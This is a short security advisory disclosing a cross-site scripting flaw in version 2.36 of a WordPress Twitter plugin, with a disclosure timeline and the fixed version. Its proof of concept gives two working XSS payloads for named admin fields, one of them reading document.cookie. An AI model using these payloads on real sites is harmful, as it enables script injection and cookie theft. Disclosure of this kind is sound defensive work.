Effected Version : 2.36 (and most probably lower version's if any)
 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Madhu Akula
 

 
Technical Details
 
Minimum Level of Access Required : Administrator
 
PoC - (Proof of Concept) :
 
In the following fields put the payload as below
 
http://localhost/wp-admin/admin.php?page=twitter.php
twttr_url_twitter = ‘><script>alert(1)</script>
 
http://localhost/wp-admin/admin.php?page=twitter.php&action=go_pro
bws_license_key = “><img src=x onerror=prompt(document.cookie);>
 
Vulnerable Parameter : twttr_url_twitter, bws_license_key
 
Type of XSS : Reflected / Stored
 
Fixed in : 2.37
 
http://wordpress.org/plugins/twitter-plugin/changelog/
 
Disclosure Timeline
 
Vendor Contacted : 2014-08-04
 
Plugin Status : Updated on 2014-08-07
 
Public Disclosure : October 3, 2015
 
CVE Number : Not assigned yet
 
Plugin Description :
 
Twitter plugin allows you to add the Follow and the Like buttons the easiest way. Want to be always in touch with your friends and readers? Cannot imagine your life without Twitter? It is all in several clicks!